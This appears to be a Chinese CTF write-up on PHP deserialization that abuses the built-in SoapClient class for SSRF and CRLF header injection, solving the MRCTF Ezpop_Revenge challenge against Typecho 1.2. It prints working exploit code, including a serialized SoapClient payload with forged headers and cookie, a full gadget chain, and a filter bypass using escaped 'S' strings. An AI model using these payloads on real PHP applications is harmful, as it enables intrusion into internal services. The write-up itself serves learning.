关于反序列化中原生类的利用
配置环境,修改php.ini
| 得添加extension=php_soap.dll (加载soap 内置包)
修改soap.wsdl_cache_enabled=1 改为soap.wsdl_cache_enabled=0 这个是soap的缓存,测试的时候最好改为0,上线稳定了改为1
soap有两种模式一种是wsdl,一种是no-wsdl
|
关于soap用法 ,可参考https://www.jb51.net/article/153394.htm
SoapClient用于调用远程服务器上的SoapServer页面,并实现了对相应函数的调用。
可以先看一下原生类方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } } }
|
关于soapclient有
| SoapClient::__call SoapFault::__toString SoapFault::__wakeup
|
对于soapclient的实例有两种:
一种是通过wsdl文件,wsdl文件可以放在本地,也可以是通过远程引用,但我还没太了解这个。
$soap = new SoapClient("file.wsdl");
另一种不提供wsdl文件。如下当然只是简单的对象生成,还可以有很多参数,可以通过数组继续增加,还可以有user_agent
$soap = new SoapClient(null,array("location"=>"服务地址","uri"=>"命名空间"));
这个原生类的主要作用就在于触发它的__call
方法来导致SSRF打内网的效果。先简单看网上的几个样例。
| <?php $a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:5555/path')); $b = serialize($a); echo $b; $c = unserialize($b); $c->not_exists_function();
|
然后在本机上监听一下,但是很疑惑的是call
方法到底是怎么实现的,看了很多文章都没介绍为啥,正常将call方法第一个传参的是调用的方法名,后面是参数,这个竟然能请求到自己设置的服务地址,大受震撼。这里简单调试了一下大概能懂一点。
实例化一个soapclient内容如下,还有后面两个参数。
查看了一下文档和SoapClient->__doRequest
方法有关
这个会向服务地址发起请求,然后看了一下源码执行后的打印结果。
这里SoapClient->__doRequest
的第一个参数为xml格式内容,第二个应该就是请求地址,最后是uri
和调用的不存在方法。call
方法的实现应该会用到SoapClient->__doRequest
但还是没太懂。
这里还存在clrf漏洞,可以伪造post请求。
| <?php $target = "http://127.0.0.1:5555/"; $post_string = 'data=abc'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello')); $aaa = serialize($b); $aaa = str_replace('^^',"\n\r",$aaa); echo urlencode($aaa); $test = unserialize($aaa); $test->sdadasd();
|
MRCTF Ezpop_Revenge
题目是typecho1.2得反序列化,进入题目后没发现什么就经典扫一下目录,发现有www.zip
泄露,拿到源码开始审计。
先看flag.php,这里看到需要本地访问,应该是要ssrf打
搜索一下unserialize
发现入口,在Plugin.php
过滤了很多rce函数。然后实例化得参数为数组里面得两个值。
跟进Typecho_Db
实例化的过程,跟进后有很多代码,基本上是数据库查询得一些操作。构造函数这有一个字符串得连接,这里想到的可以利用__toString
,再接着往下看。
慢慢看发现一个call_user_func
函数,突然觉得是不是利用这个,后来发现不可控,而且都暗示要SSRF了肯定是不能RCE命令执行的,放弃了。
后面找到实例化sql对象。
跟进能看到里面真有一toString
函数
但到这就不知道怎么做了,看了wp才知道可以将$this->_adapter
控制为Soapclient
类触发Soapclient
原生类的__call
函数从而可以进行SSRF,可以看上面最开始写的这个原理。
捋一下思路:
最开始是反序列化触发__wakeup函数,实例化对象 $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
这里可以将第一个参数$this->coincidence['hello']
控制成为一个类,在Typecho_Db类中的$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
这个地方触发toString
函数,然后接着触发原生类的call
函数达到打SSRF的效果。
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php class HelloWorld_DB{ private $coincidence; function __construct(){ $this->coincidence['hello'] = new Typecho_Db_Query(); $this->coincidence['world'] = 'typecho_'; } }
class Typecho_Db_Query{ private $_sqlPreBuild; private $_adapter; public function __construct() { $headers = array( 'X-Forwarded-For:127.0.0.1', "Cookie: PHPSESSID=e1g1ch42pgkoa25uclhko75l10" ); $this->_adapter = new SoapClient(null,array('uri'=>'exp', 'location'=>'http://127.0.0.1/flag.php','user_agent' => str_replace('^^',"\r\n",'KK^^Content-Type: application/x-www-form-urlencoded^^' . join('^^', $headers)))); $this->_sqlPreBuild = array('action'=>"SELECT"); } } function bypass($str){ $arr = explode(':', $str); $newstr = ''; for ($i = 0; $i < count($arr); $i++) { if (preg_match('/00/', $arr[$i])) { $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]); } } $i = 0; for (; $i < count($arr) - 1; $i++) { $newstr .= $arr[$i]; $newstr .= ":"; } $newstr .= $arr[$i]; return $newstr; } $test = serialize(new HelloWorld_DB()); $test = urlencode($test); $test = preg_replace('/%00/','%5c%30%30', $test); $test = bypass(urldecode($test)); echo base64_encode($test);
|
这里面还有个坑,就是上面可以看到它过滤了%
但是exp中有很多是private
属性需要用%00
不可见字符填充,然后就需要用\00来代替%00。这里还有个知识点
在 PHP5 最新的 CVS 中,
新的序列化方式叫做 escaped binary string 方式,这是相对与普通那种 non-escaped binary string 方式来说的:
string 型数据(字符串)新的序列化格式为:
S:”“:”“;
其中 是源字符串的长度,而非 的长度。 是非负整数,数字前可以带有正号(+)。 为经过转义之后的字符串。
它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 \),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 \ 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 \ 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 的内容了。
普通的序列化小s对应的就是普通的字符串,如s:3:”%00a%00”;
而序列化的大S则对应的是\加上16进制,如S:2:”\00a\00”;
看个例子
| <?php
class A { private $key = "123"; function __wakeup() { echo "ok"; } }
unserialize($_GET['test']);
|
将不可见字符%00转化为十六进制,小s变成大S,可以成功执行。
回到题目,路由在这里
最后发包得到flag